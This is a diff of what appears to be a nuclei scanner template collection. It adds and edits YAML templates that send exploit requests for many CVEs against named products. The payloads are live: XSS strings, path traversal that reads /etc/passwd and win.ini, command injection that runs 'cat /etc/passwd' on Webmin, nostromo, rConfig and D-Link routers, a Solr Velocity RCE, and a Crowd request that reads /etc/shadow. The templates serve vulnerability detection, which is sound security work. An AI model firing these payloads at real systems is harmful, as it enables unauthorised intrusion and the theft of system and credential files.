description: process_forms in the WPML (aka sitepress-multilingual-cms) plugin through 3.6.3 for WordPress has XSS via any locale_file_name_ parameter (such as locale_file_name_en) in an authenticated theme-localization.php request to wp-admin/admin.php.
|
||||
|
||||
requests:
|
||||
- method: POST
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
id: cve-2018-19386
|
||||
|
||||
info:
|
||||
name: SolarWinds Database Performance Analyzer 11.1. 457 - Cross Site Scripting
|
||||
author: pikpikcu
|
||||
severity: medium
|
||||
|
||||
# Refrence:-https://www.cvedetails.com/cve/CVE-2018-19386/
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/iwc/idcStateError.iwc?page=javascript%3aalert(document.cookie)%2f%2f"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- 'javascript:alert(document.cookie)//'
|
||||
@@ -1,9 +1,10 @@
|
||||
id: CVE-2018-19439
|
||||
id: cve-2018-19439
|
||||
|
||||
info:
|
||||
name: Cross Site Scripting in Oracle Secure Global Desktop Administration Console
|
||||
author: madrobot & dwisiswant0
|
||||
severity: high
|
||||
description: XSS exists in the Administration Console in Oracle Secure Global Desktop 4.4 20080807152602 (but was fixed in later versions including 5.4)
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
|
||||
@@ -1,9 +1,10 @@
|
||||
id: CVE-2018-20824
|
||||
id: cve-2018-20824
|
||||
|
||||
info:
|
||||
name: Atlassian Jira WallboardServlet XSS
|
||||
author: madrobot & dwisiswant0
|
||||
severity: medium
|
||||
description: The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the cyclePeriod parameter.
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
|
||||
@@ -1,16 +1,16 @@
|
||||
id: CVE-2018-2791
|
||||
id: cve-2018-2791
|
||||
|
||||
info:
|
||||
name: Oracle WebCenter Sites XSS
|
||||
author: madrobot
|
||||
severity: medium
|
||||
|
||||
description: Vulnerability in the Oracle WebCenter Sites component of Oracle Fusion Middleware
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/servlet/Satellite?c=Noticia&cid={ID}&pagename=OpenMarket/Gator/FlexibleAssets/AssetMaker/confirmmakeasset&cs_imagedir=eee%22%3E%3Cscript%3Ealert(1337)%3C/script%3E%3C"
|
||||
- "{{BaseURL}}/servlet/Satellite?destpage=%22%3Ch1xxx%3Cscriptalert(1)%3C%2Fscript&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError"
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "<script>alert(1337)</script>"
|
||||
- "<h1xxx<scriptalert(1)</script"
|
||||
part: body
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2018-3714
|
||||
id: cve-2018-3714
|
||||
info:
|
||||
name: node-srv Path Traversal
|
||||
author: madrobot
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2018-3760
|
||||
id: cve-2018-3760
|
||||
|
||||
info:
|
||||
name: Rails cve-2018-3760
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2018-5230
|
||||
id: cve-2018-5230
|
||||
|
||||
info:
|
||||
name: Atlassian Confluence Status-List XSS
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2018-7490
|
||||
id: cve-2018-7490
|
||||
|
||||
info:
|
||||
name: uWSGI PHP Plugin Directory Traversal
|
||||
|
||||
@@ -0,0 +1,37 @@
|
||||
id: cve-2019-1010287
|
||||
|
||||
info:
|
||||
name: Timesheet 1.5.3 - Cross Site Scripting
|
||||
author: pikpikcu
|
||||
severity: high
|
||||
|
||||
# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2019-1010287
|
||||
# Google-Dork: inurl:"/timesheet/login.php"
|
||||
# Demo: http://www.mdh-tz.info/
|
||||
|
||||
requests:
|
||||
- raw: # Metod POST From login.php
|
||||
- |
|
||||
POST /timesheet/login.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 91
|
||||
DNT: 1
|
||||
Connection: keep-alive
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
username=%27%22%3E%3Cscript%3Ejavascript%3Aalert%28document.domain%29%3C%2Fscript%3E&password=pd&submit=Login
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- '><script>javascript:alert(document.domain)</script>'
|
||||
part: body
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2019-10475
|
||||
id: cve-2019-10475
|
||||
|
||||
info:
|
||||
name: Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
id: cve-2019-11043
|
||||
|
||||
info:
|
||||
name: PHP-FPM & nginx RCE
|
||||
author: geeknik
|
||||
severity: high
|
||||
description: https://github.com/neex/phuip-fpizdam
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/?a=/bin/sh+-c+'which+which'&"
|
||||
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "/bin/which"
|
||||
part: body
|
||||
@@ -0,0 +1,19 @@
|
||||
id: cve-2019-11248
|
||||
|
||||
info:
|
||||
name: exposed_pprof
|
||||
author: 0xceeb
|
||||
severity: medium
|
||||
|
||||
# https://medium.com/bugbountywriteup/my-first-bug-bounty-21d3203ffdb0
|
||||
# http://mmcloughlin.com/posts/your-pprof-is-showing
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/debug/pprof/"
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "Types of profiles available:"
|
||||
- "Profile Descriptions"
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2019-11510
|
||||
id: cve-2019-11510
|
||||
|
||||
info:
|
||||
name: Pulse Connect Secure SSL VPN arbitrary file read vulnerability
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
id: cve-2019-11580
|
||||
|
||||
info:
|
||||
name: Atlassian Crowd & Crowd Data Center - Unauthenticated RCE
|
||||
author: dwisiswant0
|
||||
severity: critical
|
||||
|
||||
# Atlassian Crowd and Crowd Data Center
|
||||
# had the pdkinstall development plugin incorrectly enabled in release builds.
|
||||
# Attackers who can send unauthenticated or authenticated requests
|
||||
# to a Crowd or Crowd Data Center instance can exploit this vulnerability
|
||||
# to install arbitrary plugins, which permits remote code execution on
|
||||
# systems running a vulnerable version of Crowd or Crowd Data Center.
|
||||
# All versions of Crowd from version 2.1.0 before 3.0.5 (the fixed version for 3.0.x),
|
||||
# from version 3.1.0 before 3.1.6 (the fixed version for 3.1.x),
|
||||
# from version 3.2.0 before 3.2.8 (the fixed version for 3.2.x),
|
||||
# from version 3.3.0 before 3.3.5 (the fixed version for 3.3.x),
|
||||
# and from version 3.4.0 before 3.4.4 (the fixed version for 3.4.x) are affected by this vulnerability.
|
||||
# -
|
||||
# References:
|
||||
# > https://github.com/jas502n/CVE-2019-11580
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
|
||||
- "{{BaseURL}}:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "root:*:"
|
||||
- "bin:*:"
|
||||
condition: and
|
||||
part: body
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2019-12314
|
||||
id: cve-2019-12314
|
||||
|
||||
info:
|
||||
name: Deltek Maconomy 2.2.5 LFIl
|
||||
|
||||
@@ -0,0 +1,25 @@
|
||||
id: cve-2019-12461
|
||||
|
||||
info:
|
||||
name: WebPort 1.19.1 - Reflected Cross-Site Scripting
|
||||
author: pikpikcu
|
||||
severity: medium
|
||||
|
||||
# Vendor Homepage: https://webport.se/
|
||||
# Software Link: https://webport.se/nedladdningar/
|
||||
# Refrence: https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/log?type=%22%3C/script%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3Cscript%3E'
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- '"</script><script>alert(document.domain);</script><script>'
|
||||
part: body
|
||||
@@ -0,0 +1,27 @@
|
||||
id: cve-2019-12593
|
||||
|
||||
info:
|
||||
name: IIceWarp <=10.4.4 - Local File Inclusion
|
||||
author: pikpikcu
|
||||
severity: high
|
||||
|
||||
# reference: https://nvd.nist.gov/vuln/detail/CVE-2019-12593
|
||||
# Google Dork:-Powered By IceWarp 10.4.4
|
||||
# Vendor Homepage: http://www.icewarp.com
|
||||
# Software Link: https://www.icewarp.com/downloads/trial/
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini'
|
||||
- '{{BaseURL}}/webmail/calendar/minimizer/index.php?style=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc%5cpasswd'
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- "[intl]"
|
||||
- "root:x:0"
|
||||
@@ -0,0 +1,25 @@
|
||||
id: cve-2019-14322
|
||||
|
||||
info:
|
||||
name: Odoo 12.0 - Local File Inclusion
|
||||
author: madrobot
|
||||
severity: high
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/base_import/static/c:/windows/win.ini"
|
||||
- "{{BaseURL}}/web/static/c:/windows/win.ini"
|
||||
- "{{BaseURL}}/base/static/c:/windows/win.ini"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- "bit app support"
|
||||
- "fonts"
|
||||
- "extensions"
|
||||
condition: and
|
||||
part: body
|
||||
@@ -0,0 +1,24 @@
|
||||
id: cve-2019-14696
|
||||
|
||||
info:
|
||||
name: Open-Scool 3.0/Community Edition 2.3 - Cross Site Scripting
|
||||
author: pikpikcu
|
||||
severity: medium
|
||||
|
||||
# Refrence:-https://nvd.nist.gov/vuln/detail/CVE-2019-14696
|
||||
# Vendor Homepage: [https://open-school.org/]
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/index.php?r=students/guardians/create&id=1%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- '<script>alert(document.domain)</script>'
|
||||
part: body
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2019-14974
|
||||
id: cve-2019-14974
|
||||
|
||||
info:
|
||||
name: SugarCRM Enterprise 9.0.0 - Cross-Site Scripting
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2019-15043
|
||||
id: cve-2019-15043
|
||||
info:
|
||||
author: bing0o
|
||||
name: Grafana unauthenticated API
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
id: cve-2019-15107
|
||||
|
||||
info:
|
||||
name: Webmin <= 1.920 Unauhenticated Remote Command Execution
|
||||
author: bp0lr
|
||||
severity: high
|
||||
|
||||
# Refrence:-https://www.exploit-db.com/exploits/47293
|
||||
# Refrence:-https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
|
||||
|
||||
requests:
|
||||
- raw: #
|
||||
- |
|
||||
POST /password_change.cgi HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: https://{{Hostname}}/
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 73
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
user=rootxx&pam=&old=test|cat /etc/passwd&new1=test2&new2=test2&expired=2
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
@@ -0,0 +1,29 @@
|
||||
id: cve-2019-15858
|
||||
|
||||
info:
|
||||
name: Unauthenticated Woody Ad Snippets WordPress Plugin RCE
|
||||
author: dwisiswant0
|
||||
severity: high
|
||||
description: |
|
||||
This template supports the detection part only. See references.
|
||||
|
||||
admin/includes/class.import.snippet.php in the "Woody ad snippets" plugin
|
||||
before 2.2.5 for WordPress allows unauthenticated options import,
|
||||
as demonstrated by storing an XSS payload for remote code execution.
|
||||
|
||||
Source/References:
|
||||
- https://github.com/GeneralEG/CVE-2019-15858
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/wp-content/plugins/insert-php/readme.txt"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- "2.2.5"
|
||||
part: body
|
||||
@@ -0,0 +1,26 @@
|
||||
id: cve-2019-16278
|
||||
|
||||
info:
|
||||
author: pikpikcu
|
||||
name: nostromo 1.9.6 - Remote Code Execution
|
||||
severity: critical
|
||||
|
||||
# Source: https://www.exploit-db.com/raw/47837
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
|
||||
Content-Length: 1
|
||||
Connection: close
|
||||
|
||||
echo
|
||||
echo
|
||||
cat /etc/passwd 2>&1
|
||||
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
@@ -0,0 +1,20 @@
|
||||
id: cve-2019-1653
|
||||
|
||||
info:
|
||||
name: Unauthenticated Cisco Small Business WAN VPN Routers Sensitive Info Disclosure
|
||||
author: dwisiswant0
|
||||
severity: high
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/cgi-bin/config.exp"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- "sysconfig"
|
||||
part: body
|
||||
@@ -0,0 +1,21 @@
|
||||
id: cve-2019-16662
|
||||
|
||||
info:
|
||||
name: rConfig 3.9.2 - Remote Code Execution
|
||||
author: pikpikcu
|
||||
severity: critical
|
||||
# Source:-https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
@@ -0,0 +1,25 @@
|
||||
id: cve-2019-16759-1
|
||||
|
||||
info:
|
||||
name: 0day RCE in vBulletin v5.0.0-v5.5.4 fix bypass
|
||||
author: madrobot
|
||||
severity: high
|
||||
|
||||
# Source:- https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- "PHP Version"
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2019-16759
|
||||
id: cve-2019-16759
|
||||
|
||||
info:
|
||||
name: 0day RCE in vBulletin v5.0.0-v5.5.4
|
||||
|
||||
@@ -0,0 +1,65 @@
|
||||
id: cve-2019-16920
|
||||
|
||||
info:
|
||||
name: Unauthenticated Multiple D-Link Routers RCE
|
||||
author: dwisiswant0
|
||||
severity: critical
|
||||
description: Unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these are also affected; DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.
|
||||
|
||||
# References:
|
||||
# - https://github.com/pwnhacker0x18/CVE-2019-16920-MassPwn3r
|
||||
|
||||
requests:
|
||||
- raw:
|
||||
- |
|
||||
POST /apply_sec.cgi HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Connection: close
|
||||
Referer: http://{{Hostname}}/
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=62384
|
||||
- |
|
||||
POST /apply_sec.cgi HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Connection: close
|
||||
Referer: http://{{Hostname}}/login_pic.asp
|
||||
Cookie: uid=1234123
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('cat /etc/passwd')}}
|
||||
- |
|
||||
POST /apply_sec.cgi HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Connection: close
|
||||
Referer: http://{{Hostname}}/login_pic.asp
|
||||
Cookie: uid=1234123
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('type C:\\Windows\\win.ini')}}
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
- "\\[(font|extension|file)s\\]"
|
||||
condition: or
|
||||
part: body
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -1,9 +1,9 @@
|
||||
id: CVE-2019-17382
|
||||
id: cve-2019-17382
|
||||
|
||||
info:
|
||||
name: Zabbix Authentication Bypass
|
||||
author: Harsh Bothra
|
||||
severity: Critical
|
||||
severity: critical
|
||||
# source:- https://nvd.nist.gov/vuln/detail/CVE-2019-17382
|
||||
|
||||
requests:
|
||||
|
||||
@@ -0,0 +1,58 @@
|
||||
id: cve-2019-17558
|
||||
|
||||
info:
|
||||
name: Apache Solr 8.3.0 - Remote Code Execution via Velocity Template
|
||||
author: pikpikcu
|
||||
severity: critical
|
||||
|
||||
# Refrense:https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133
|
||||
# https://nvd.nist.gov/vuln/detail/CVE-2019-17558
|
||||
# Issues:-https://issues.apache.org/jira/browse/SOLR-13971
|
||||
|
||||
requests:
|
||||
- raw: # Request: set "params.resource.loader.enabled"
|
||||
- |
|
||||
POST /solr/atom/config HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Connection: close
|
||||
Content-Type: application/json
|
||||
Content-Length: 259
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
{
|
||||
"update-queryresponsewriter": {
|
||||
"startup": "lazy",
|
||||
"name": "velocity",
|
||||
"class": "solr.VelocityResponseWriter",
|
||||
"template.base.dir": "",
|
||||
"solr.resource.loader.enabled": "true",
|
||||
"params.resource.loader.enabled": "true"
|
||||
}
|
||||
}
|
||||
|
||||
# RCE via velocity template:
|
||||
# Get /etc/passwd
|
||||
|
||||
- |
|
||||
GET /solr/atom/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat%20/etc/passwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
part: body
|
||||
@@ -0,0 +1,17 @@
|
||||
id: cve-2019-18394
|
||||
|
||||
info:
|
||||
name: Openfire Full Read SSRF
|
||||
author: pdteam - nuclei.projectdiscovery.io
|
||||
severity: critical
|
||||
|
||||
# Source:- https://swarm.ptsecurity.com/openfire-admin-console/
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/getFavicon?host=burpcollaborator.net"
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- <h1>Burp Collaborator Server</h1>
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2019-19368
|
||||
id: cve-2019-19368
|
||||
|
||||
info:
|
||||
name: Rumpus FTP Web File Manager 8.2.9.1 XSS
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2019-19781
|
||||
id: cve-2019-19781
|
||||
|
||||
info:
|
||||
name: Citrix ADC Directory Traversal
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2019-19908
|
||||
id: cve-2019-19908
|
||||
|
||||
info:
|
||||
name: phpMyChat-Plus XSS
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
id: cve-2019-19985
|
||||
|
||||
info:
|
||||
name: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download
|
||||
author: KBA@SOGETI_ESEC, madrobot & dwisiswant0
|
||||
severity: medium
|
||||
|
||||
# Source:- https://www.exploit-db.com/exploits/48698
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/wp-admin/admin.php?page=download_report&report=users&status=all"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- Name
|
||||
- Email
|
||||
- Status
|
||||
- Created On
|
||||
condition: and
|
||||
part: body
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "Content-Disposition: attachment; filename=all-contacts.csv;"
|
||||
part: header
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2019-2588
|
||||
id: cve-2019-2588
|
||||
|
||||
info:
|
||||
name: Oracle Business Intelligence Path Traversal
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
id: cve-2019-2725
|
||||
|
||||
info:
|
||||
name: Oracle WebLogic Server - Unauthenticated RCE
|
||||
author: dwisiswant0
|
||||
severity: critical
|
||||
|
||||
# Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services).
|
||||
# Supported versions that are affected are 10.3.6.0.0 and 12.1.3.0.0.
|
||||
# Easily exploitable vulnerability allows unauthenticated attacker
|
||||
# with network access via HTTP to compromise Oracle WebLogic Server.
|
||||
# Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server.
|
||||
# --
|
||||
# References:
|
||||
# > https://paper.seebug.org/910/
|
||||
|
||||
requests:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/_async/AsyncResponseService"
|
||||
- "{{BaseURL}}:7001/_async/AsyncResponseService"
|
||||
body: >-
|
||||
<?xml version="1.0" encoding="UTF-8" ?>
|
||||
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
|
||||
xmlns:ads="http://www.w3.org/2005/08/addressing">
|
||||
<soapenv:Header></soapenv:Header>
|
||||
<soapenv:Body></soapenv:Body>
|
||||
</soapenv:Envelope>
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "soapenv:Envelope"
|
||||
part: body
|
||||
- type: word
|
||||
words:
|
||||
- "X-Powered-By: Servlet"
|
||||
part: header
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -1,8 +1,8 @@
|
||||
id: CVE-2019-3396
|
||||
id: cve-2019-3396
|
||||
info:
|
||||
author: "Harsh Bothra"
|
||||
name: "Atlassian Confluence Path Traversal"
|
||||
severity: High
|
||||
severity: high
|
||||
|
||||
# https://github.com/x-f1v3/CVE-2019-3396
|
||||
|
||||
@@ -16,7 +16,6 @@ requests:
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
|
||||
Referer: {{Hostname}}
|
||||
Content-Length: 168
|
||||
Accept-Encoding: gzip, deflate
|
||||
Connection: close
|
||||
|
||||
{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"}}}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2019-3799
|
||||
id: cve-2019-3799
|
||||
info:
|
||||
name: Spring-Cloud-Config-Server Directory Traversal
|
||||
author: madrobot
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
id: CVE-2019-5418
|
||||
id: cve-2019-5418
|
||||
|
||||
info:
|
||||
name: File Content Disclosure on Rails
|
||||
|
||||
@@ -0,0 +1,30 @@
|
||||
id: cve-2019-6112
|
||||
|
||||
info:
|
||||
name: WordPress Plugin Sell Media v2.4.1 - Cross-Site Scripting
|
||||
author: dwisiswant0
|
||||
severity: medium
|
||||
|
||||
# A Cross-site scripting (XSS) vulnerability
|
||||
# in /inc/class-search.php in the Sell Media plugin v2.4.1 for WordPress
|
||||
# allows remote attackers to inject arbitrary web script or HTML
|
||||
# via the keyword parameter (aka $search_term or the Search field).
|
||||
# --
|
||||
# References:
|
||||
# > https://github.com/graphpaperpress/Sell-Media/commit/8ac8cebf332e0885863d0a25e16b4b180abedc47#diff-f16fea0a0c8cc36031ec339d02a4fb3b
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/sell-media-search/?keyword=%22%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "id=\"sell-media-search-text\" class=\"sell-media-search-text\""
|
||||
- "alert(1337)"
|
||||
condition: and
|
||||
part: body
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -0,0 +1,26 @@
